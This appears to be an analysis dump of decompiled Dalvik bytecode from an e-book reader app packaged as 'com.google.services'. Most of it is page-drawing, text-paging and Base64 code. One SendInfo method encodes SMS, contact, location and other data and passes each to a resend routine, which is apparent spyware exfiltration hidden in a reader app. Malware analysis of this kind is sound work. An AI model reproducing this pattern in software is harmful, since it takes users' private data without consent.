20 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
22 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
23 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
25 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
26 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
28 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
29 | iget v3, v3, Landroid/graphics/PointF;->x:F | |
31 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierEnd1:Landroid/graphics/PointF; | |
32 | iget v4, v4, Landroid/graphics/PointF;->y:F | |
34 | invoke-virtual {v0, v1, v2, v3, v4}, Landroid/graphics/Path;->quadTo(FFFF)V | |
36 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
38 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
39 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
41 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
42 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
44 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
46 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
48 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
49 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
51 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierEnd2:Landroid/graphics/PointF; | |
52 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
54 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
56 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
58 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
59 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
61 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
62 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
64 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
65 | iget v3, v3, Landroid/graphics/PointF;->x:F | |
67 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
68 | iget v4, v4, Landroid/graphics/PointF;->y:F | |
70 | invoke-virtual {v0, v1, v2, v3, v4}, Landroid/graphics/Path;->quadTo(FFFF)V | |
72 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
73 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
74 | int-to-float v1, v1 | |
75 | iget v2, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
76 | int-to-float v2, v2 | |
78 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
80 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
82 | invoke-virtual {v0}, Landroid/graphics/Path;->close()V | |
84 | invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I | |
86 | sget-object v0, Landroid/graphics/Region$Op;->XOR:Landroid/graphics/Region$Op; | |
88 | invoke-virtual {p1, p3, v0}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z | |
89 | const/4 v0, 0x0 | |
91 | invoke-virtual {p1, p2, v5, v5, v0}, Landroid/graphics/Canvas;->drawBitmap(Landroid/graphics/Bitmap;FFLandroid/graphics/Paint;)V |
|
93 | invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V | |
94 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/4 v1, 0x0 | |
3 | const/16 v5, 0xa | |
5 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
7 | const-string v2, "UTF-16LE" | |
9 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
10 | move-result v0 | |
11 | if-eqz v0, :cond_42 | |
12 | add-int/lit8 v0, p1, -0x2 | |
13 | goto_f: if-lez v0, :cond_29 | |
15 | iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
17 | invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B | |
18 | move-result v2 | |
20 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
21 | add-int/lit8 v4, v0, 0x1 | |
23 | invoke-virtual {v3, v4}, Ljava/nio/MappedByteBuffer;->get(I)B | |
24 | move-result v3 | |
25 | if-ne v2, v5, :cond_3f | |
26 | if-nez v3, :cond_3f | |
27 | add-int/lit8 v2, p1, -0x2 | |
28 | if-eq v0, v2, :cond_3f | |
29 | add-int/lit8 v0, v0, 0x2 | |
30 | cond_29: if-gez v0, :cond_2c | |
31 | move v0, v1 | |
32 | cond_2c: sub-int v2, p1, v0 | |
33 | new-array v3, v2, [B | |
34 | goto_30: if-ge v1, v2, :cond_82 | |
36 | iget-object v4, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
37 | add-int v5, v0, v1 | |
39 | invoke-virtual {v4, v5}, Ljava/nio/MappedByteBuffer;->get(I)B |
|
40 | move-result v4 | |
41 | aput-byte v4, v3, v1 | |
42 | add-int/lit8 v1, v1, 0x1 | |
43 | goto/16 :goto_30 | |
44 | cond_3f: add-int/lit8 v0, v0, -0x1 | |
45 | goto/16 :goto_f | |
46 | cond_42: | |
47 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
49 | const-string v2, "UTF-16BE" | |
51 | invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
52 | move-result v0 | |
53 | if-eqz v0, :cond_6c | |
54 | add-int/lit8 v0, p1, -0x2 | |
55 | goto_4e: if-lez v0, :cond_29 | |
57 | iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
59 | invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B | |
60 | move-result v2 | |
62 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
63 | add-int/lit8 v4, v0, 0x1 | |
65 | invoke-virtual {v3, v4}, Ljava/nio/MappedByteBuffer;->get(I)B | |
66 | move-result v3 | |
67 | if-nez v2, :cond_69 | |
68 | if-ne v3, v5, :cond_69 | |
69 | add-int/lit8 v2, p1, -0x2 | |
70 | if-eq v0, v2, :cond_69 | |
71 | add-int/lit8 v0, v0, 0x2 | |
72 | goto/16 :goto_29 | |
73 | cond_69: add-int/lit8 v0, v0, -0x1 | |
74 | goto/16 :goto_4e | |
75 | cond_6c: add-int/lit8 v0, p1, -0x1 | |
76 | goto_6e: if-lez v0, :cond_29 | |
78 | iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
80 | invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B | |
81 | move-result v2 | |
82 | if-ne v2, v5, :cond_7f | |
83 | add-int/lit8 v2, p1, -0x1 | |
84 | if-eq v0, v2, :cond_7f | |
85 | add-int/lit8 v0, v0, 0x1 | |
86 | goto/16 :goto_29 | |
87 | cond_7f: add-int/lit8 v0, v0, -0x1 | |
88 | goto/16 :goto_6e | |
89 | cond_82: return-object v3 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/16 v4, 0xa | |
4 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
6 | const-string v1, "UTF-16LE" | |
8 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
9 | move-result v0 | |
10 | if-eqz v0, :cond_3b | |
11 | move v0, p1 | |
12 | cond_d: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
13 | add-int/lit8 v1, v1, -0x1 | |
14 | if-ge v0, v1, :cond_27 | |
16 | iget-object v1, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
17 | add-int/lit8 v2, v0, 0x1 | |
19 | invoke-virtual {v1, v0}, Ljava/nio/MappedByteBuffer;->get(I)B | |
20 | move-result v1 | |
22 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
23 | add-int/lit8 v0, v2, 0x1 | |
25 | invoke-virtual {v3, v2}, Ljava/nio/MappedByteBuffer;->get(I)B | |
26 | move-result v2 | |
27 | if-ne v1, v4, :cond_d | |
28 | if-nez v2, :cond_d | |
29 | cond_27: sub-int v1, v0, p1 | |
30 | new-array v2, v1, [B | |
31 | const/4 v0, 0x0 | |
32 | goto_2c: if-ge v0, v1, :cond_72 | |
34 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
35 | add-int v4, p1, v0 | |
37 | invoke-virtual {v3, v4}, Ljava/nio/MappedByteBuffer;->get(I)B |
|
38 | move-result v3 | |
39 | aput-byte v3, v2, v0 | |
40 | add-int/lit8 v0, v0, 0x1 | |
41 | goto/16 :goto_2c | |
42 | cond_3b: | |
43 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
45 | const-string v1, "UTF-16BE" | |
47 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
48 | move-result v0 | |
49 | if-eqz v0, :cond_73 | |
50 | move v0, p1 | |
51 | cond_46: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
52 | add-int/lit8 v1, v1, -0x1 | |
53 | if-ge v0, v1, :cond_27 | |
55 | iget-object v1, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
56 | add-int/lit8 v2, v0, 0x1 | |
58 | invoke-virtual {v1, v0}, Ljava/nio/MappedByteBuffer;->get(I)B | |
59 | move-result v1 | |
61 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
62 | add-int/lit8 v0, v2, 0x1 | |
64 | invoke-virtual {v3, v2}, Ljava/nio/MappedByteBuffer;->get(I)B | |
65 | move-result v2 | |
66 | if-nez v1, :cond_46 | |
67 | if-ne v2, v4, :cond_46 | |
68 | goto/16 :goto_27 | |
69 | cond_61: move v0, v1 | |
70 | goto_62: iget v1, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
71 | if-ge v0, v1, :cond_27 | |
73 | iget-object v2, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
74 | add-int/lit8 v1, v0, 0x1 | |
76 | invoke-virtual {v2, v0}, Ljava/nio/MappedByteBuffer;->get(I)B | |
77 | move-result v0 | |
78 | if-ne v0, v4, :cond_61 | |
79 | move v0, v1 | |
80 | goto/16 :goto_27 | |
81 | cond_72: return-object v2 | |
82 | cond_73: move v0, p1 | |
83 | goto/16 :goto_62 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/4 v3, 0x1 | |
3 | const v2, 0x3db851ec | |
5 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I | |
6 | move-result v0 | |
7 | const/4 v1, 0x2 | |
8 | if-ne v0, v1, :cond_1e | |
10 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
12 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getX()F | |
13 | move-result v1 | |
14 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
16 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
18 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getY()F | |
19 | move-result v1 | |
20 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
22 | invoke-virtual {p0}, Lcom/google/services/PageWidget;->postInvalidate()V | |
23 | cond_1e: | |
24 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I | |
25 | move-result v0 | |
26 | if-nez v0, :cond_34 | |
28 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
30 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getX()F | |
31 | move-result v1 | |
32 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
34 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
36 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getY()F | |
37 | move-result v1 | |
38 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
39 | cond_34: | |
40 | invoke-virtual {p1}, Landroid/view/MotionEvent;->getAction()I | |
41 | move-result v0 | |
42 | if-ne v0, v3, :cond_48 | |
44 | invoke-virtual {p0}, Lcom/google/services/PageWidget;->canDragOver()Z | |
45 | move-result v0 | |
46 | if-eqz v0, :cond_49 | |
47 | const/16 v0, 0x4b0 | |
49 | invoke-direct {p0, v0}, Lcom/google/services/PageWidget;->startAnimation(I)V |
|
50 | goto_45: | |
51 | invoke-virtual {p0}, Lcom/google/services/PageWidget;->postInvalidate()V | |
52 | cond_48: return v3 | |
53 | cond_49: | |
54 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
55 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerX:I | |
56 | int-to-float v1, v1 | |
57 | sub-float/2addr v1, v2 | |
58 | iput v1, v0, Landroid/graphics/PointF;->x:F | |
60 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
61 | iget v1, p0, Lcom/google/services/PageWidget;->mCornerY:I | |
62 | int-to-float v1, v1 | |
63 | sub-float/2addr v1, v2 | |
64 | iput v1, v0, Landroid/graphics/PointF;->y:F | |
65 | goto/16 :goto_45 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Throws; | |
1 | value = { | |
2 | Ljava/io/IOException; | |
3 | } | |
4 | .end annotation | |
5 | .prologue | |
6 | const/4 v3, 0x2 | |
7 | const/4 v9, -0x1 | |
8 | const/4 v8, 0x4 | |
9 | const/4 v2, 0x1 | |
10 | const/4 v1, 0x0 | |
11 | new-array v5, v8, [C | |
12 | move v0, v1 | |
13 | cond_8: | |
14 | iget-object v4, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream; | |
16 | invoke-virtual {v4}, Ljava/io/InputStream;->read()I | |
17 | move-result v4 | |
18 | if-ne v4, v9, :cond_21 | |
19 | if-eqz v0, :cond_1a | |
20 | new-instance v0, Ljava/io/IOException; | |
22 | const-string v1, "Bad base64 stream" | |
24 | invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V |
|
25 | throw v0 | |
26 | cond_1a: new-array v0, v1, [I | |
27 | iput-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
28 | iput-boolean v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z | |
29 | cond_20: return-void | |
30 | cond_21: int-to-char v6, v4 | |
32 | sget-object v4, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String; | |
34 | invoke-virtual {v4, v6}, Ljava/lang/String;->indexOf(I)I | |
35 | move-result v4 | |
36 | if-ne v4, v9, :cond_2e | |
37 | sget-char v4, Lit/sauronsoftware/base64/Shared;->pad:C | |
38 | if-ne v6, v4, :cond_49 | |
39 | cond_2e: add-int/lit8 v4, v0, 0x1 | |
40 | aput-char v6, v5, v0 | |
41 | move v0, v4 | |
42 | cond_33: if-lt v0, v8, :cond_8 | |
43 | move v0, v1 | |
44 | move v4, v1 | |
45 | goto_37: if-ge v4, v8, :cond_5f | |
46 | aget-char v6, v5, v4 | |
47 | sget-char v7, Lit/sauronsoftware/base64/Shared;->pad:C | |
48 | if-eq v6, v7, :cond_59 | |
49 | if-eqz v0, :cond_5c | |
50 | new-instance v0, Ljava/io/IOException; | |
52 | const-string v1, "Bad base64 stream" | |
54 | invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V |
|
55 | throw v0 | |
56 | cond_49: const/16 v4, 0xd | |
57 | if-eq v6, v4, :cond_33 | |
58 | const/16 v4, 0xa | |
59 | if-eq v6, v4, :cond_33 | |
60 | new-instance v0, Ljava/io/IOException; | |
62 | const-string v1, "Bad base64 stream" | |
64 | invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V |
|
65 | throw v0 | |
66 | cond_59: if-nez v0, :cond_5c | |
67 | move v0, v2 | |
68 | cond_5c: add-int/lit8 v4, v4, 0x1 | |
69 | goto/16 :goto_37 | |
70 | cond_5f: const/4 v0, 0x3 | |
71 | aget-char v0, v5, v0 | |
72 | sget-char v4, Lit/sauronsoftware/base64/Shared;->pad:C | |
73 | if-ne v0, v4, :cond_9b | |
75 | iget-object v0, p0, Lit/sauronsoftware/base64/Base64InputStream;->inputStream:Ljava/io/InputStream; | |
77 | invoke-virtual {v0}, Ljava/io/InputStream;->read()I | |
78 | move-result v0 | |
79 | if-eq v0, v9, :cond_76 | |
80 | new-instance v0, Ljava/io/IOException; | |
82 | const-string v1, "Bad base64 stream" | |
84 | invoke-direct {v0, v1}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V |
|
85 | throw v0 | |
86 | cond_76: iput-boolean v2, p0, Lit/sauronsoftware/base64/Base64InputStream;->eof:Z | |
87 | aget-char v0, v5, v3 | |
88 | sget-char v4, Lit/sauronsoftware/base64/Shared;->pad:C | |
89 | if-ne v0, v4, :cond_99 | |
90 | goto_7e: move v0, v1 | |
91 | move v3, v1 | |
92 | goto_80: if-ge v3, v8, :cond_9d | |
93 | aget-char v4, v5, v3 | |
94 | sget-char v6, Lit/sauronsoftware/base64/Shared;->pad:C | |
95 | if-eq v4, v6, :cond_96 | |
97 | sget-object v4, Lit/sauronsoftware/base64/Shared;->chars:Ljava/lang/String; | |
98 | aget-char v6, v5, v3 | |
100 | invoke-virtual {v4, v6}, Ljava/lang/String;->indexOf(I)I | |
101 | move-result v4 | |
102 | rsub-int/lit8 v6, v3, 0x3 | |
103 | mul-int/lit8 v6, v6, 0x6 | |
104 | shl-int/2addr v4, v6 | |
105 | or-int/2addr v0, v4 | |
106 | cond_96: add-int/lit8 v3, v3, 0x1 | |
107 | goto/16 :goto_80 | |
108 | cond_99: move v2, v3 | |
109 | goto/16 :goto_7e | |
110 | cond_9b: const/4 v2, 0x3 | |
111 | goto/16 :goto_7e | |
112 | cond_9d: new-array v3, v2, [I | |
113 | iput-object v3, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
114 | goto_a1: if-ge v1, v2, :cond_20 | |
116 | iget-object v3, p0, Lit/sauronsoftware/base64/Base64InputStream;->buffer:[I | |
117 | rsub-int/lit8 v4, v1, 0x2 | |
118 | mul-int/lit8 v4, v4, 0x8 | |
119 | ushr-int v4, v0, v4 | |
120 | and-int/lit16 v4, v4, 0xff | |
121 | aput v4, v3, v1 | |
122 | add-int/lit8 v1, v1, 0x1 | |
123 | goto/16 :goto_a1 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | const-string v0, "" | |
4 | iget-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
6 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
7 | move-result v0 | |
8 | if-eqz v0, :cond_29 | |
9 | goto_a: | |
10 | const-string v0, "" | |
12 | iget-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
14 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
15 | move-result v0 | |
16 | if-eqz v0, :cond_3e | |
17 | cond_14: | |
18 | const-string v0, "" | |
20 | iget-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
22 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
23 | move-result v0 | |
24 | if-eqz v0, :cond_53 | |
25 | cond_1e: | |
26 | const-string v0, "" | |
28 | iget-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
30 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
31 | move-result v0 | |
32 | if-eqz v0, :cond_68 | |
33 | goto_28: return-void | |
34 | cond_29: | |
35 | const-string v0, "sms" | |
37 | iget-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
39 | const-string v2, "UTF-8" | |
41 | invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
42 | move-result-object v1 | |
44 | invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
45 | move-result v0 | |
46 | if-eqz v0, :cond_a | |
48 | const-string v0, "" | |
49 | iput-object v0, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
50 | goto/16 :goto_a | |
51 | cond_3e: | |
52 | const-string v0, "contact" | |
54 | iget-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
56 | const-string v2, "UTF-8" | |
58 | invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
59 | move-result-object v1 | |
61 | invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
62 | move-result v0 | |
63 | if-eqz v0, :cond_14 | |
65 | const-string v0, "" | |
66 | iput-object v0, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
67 | goto/16 :goto_14 | |
68 | cond_53: | |
69 | const-string v0, "location" | |
71 | iget-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
73 | const-string v2, "UTF-8" | |
75 | invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
76 | move-result-object v1 | |
78 | invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
79 | move-result v0 | |
80 | if-eqz v0, :cond_1e | |
82 | const-string v0, "" | |
83 | iput-object v0, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
84 | goto/16 :goto_1e | |
85 | cond_68: | |
86 | const-string v0, "other" | |
88 | iget-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
90 | const-string v2, "UTF-8" | |
92 | invoke-static {v1, v2}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
93 | move-result-object v1 | |
95 | invoke-virtual {p0, v0, v1}, Lcom/google/services/SendInfo;->reSendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
96 | move-result v0 | |
97 | if-eqz v0, :cond_28 | |
99 | const-string v0, "" | |
100 | iput-object v0, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
101 | goto/16 :goto_28 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v1, 0x0 | |
4 | const/4 v0, 0x0 | |
6 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
7 | iput-object v1, p0, Lcom/google/services/BookPageFactory;->book_file:Ljava/io/File; | |
8 | iput-object v1, p0, Lcom/google/services/BookPageFactory;->m_mbBuf:Ljava/nio/MappedByteBuffer; | |
9 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
10 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufBegin:I | |
11 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
13 | const-string v0, "GBK" | |
14 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
15 | iput-object v1, p0, Lcom/google/services/BookPageFactory;->m_book_bg:Landroid/graphics/Bitmap; | |
16 | new-instance v0, Ljava/util/Vector; | |
18 | invoke-direct {v0}, Ljava/util/Vector;-><init>()V | |
19 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->m_lines:Ljava/util/Vector; | |
20 | const/16 v0, 0x18 | |
21 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I | |
22 | const/high16 v0, -0x100 | |
23 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_textColor:I | |
24 | const/16 v0, -0x617b | |
25 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_backColor:I | |
26 | const/16 v0, 0xf | |
27 | iput v0, p0, Lcom/google/services/BookPageFactory;->marginWidth:I | |
28 | const/16 v0, 0x14 | |
29 | iput v0, p0, Lcom/google/services/BookPageFactory;->marginHeight:I | |
30 | new-instance v0, Ljava/text/DecimalFormat; | |
32 | const-string v1, "##.##" | |
34 | invoke-direct {v0, v1}, Ljava/text/DecimalFormat;-><init>(Ljava/lang/String;)V |
|
35 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->df:Ljava/text/DecimalFormat; | |
36 | iput p1, p0, Lcom/google/services/BookPageFactory;->mWidth:I | |
37 | iput p2, p0, Lcom/google/services/BookPageFactory;->mHeight:I | |
38 | new-instance v0, Landroid/graphics/Paint; | |
39 | const/4 v1, 0x1 | |
41 | invoke-direct {v0, v1}, Landroid/graphics/Paint;-><init>(I)V |
|
42 | iput-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
44 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
46 | sget-object v1, Landroid/graphics/Paint$Align;->LEFT:Landroid/graphics/Paint$Align; | |
48 | invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setTextAlign(Landroid/graphics/Paint$Align;)V | |
50 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
51 | iget v1, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I | |
52 | int-to-float v1, v1 | |
54 | invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setTextSize(F)V | |
56 | iget-object v0, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
57 | iget v1, p0, Lcom/google/services/BookPageFactory;->m_textColor:I | |
59 | invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V | |
60 | iget v0, p0, Lcom/google/services/BookPageFactory;->mWidth:I | |
61 | iget v1, p0, Lcom/google/services/BookPageFactory;->marginWidth:I | |
62 | mul-int/lit8 v1, v1, 0x2 | |
63 | sub-int/2addr v0, v1 | |
64 | int-to-float v0, v0 | |
65 | iput v0, p0, Lcom/google/services/BookPageFactory;->mVisibleWidth:F | |
66 | iget v0, p0, Lcom/google/services/BookPageFactory;->mHeight:I | |
67 | iget v1, p0, Lcom/google/services/BookPageFactory;->marginHeight:I | |
68 | mul-int/lit8 v1, v1, 0x2 | |
69 | sub-int/2addr v0, v1 | |
70 | int-to-float v0, v0 | |
71 | iput v0, p0, Lcom/google/services/BookPageFactory;->mVisibleHeight:F | |
72 | iget v0, p0, Lcom/google/services/BookPageFactory;->mVisibleHeight:F | |
73 | iget v1, p0, Lcom/google/services/BookPageFactory;->m_fontSize:I | |
74 | int-to-float v1, v1 | |
75 | div-float/2addr v0, v1 | |
76 | float-to-int v0, v0 | |
77 | iput v0, p0, Lcom/google/services/BookPageFactory;->mLineCount:I | |
78 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .annotation system Ldalvik/annotation/Throws; | |
3 | value = { | |
4 | Ljava/lang/RuntimeException; | |
5 | } | |
6 | .end annotation | |
7 | .prologue | |
8 | new-instance v1, Ljava/io/ByteArrayInputStream; | |
10 | invoke-direct {v1, p0}, Ljava/io/ByteArrayInputStream;-><init>([B)V | |
11 | new-instance v2, Ljava/io/ByteArrayOutputStream; | |
13 | invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V | |
14 | try_start_a: | |
15 | invoke-static {v1, v2, p1}, Lit/sauronsoftware/base64/Base64;->encode(Ljava/io/InputStream;Ljava/io/OutputStream;I)V | |
16 | try_start_d: | |
17 | invoke-virtual {v1}, Ljava/io/ByteArrayInputStream;->close()V | |
18 | goto_10: | |
19 | invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->close()V | |
20 | goto_13: | |
21 | invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B | |
22 | move-result-object v0 | |
23 | return-object v0 | |
24 | catch_18: move-exception v0 | |
25 | try_start_19: new-instance v3, Ljava/lang/RuntimeException; | |
27 | const-string v4, "Unexpected I/O error" | |
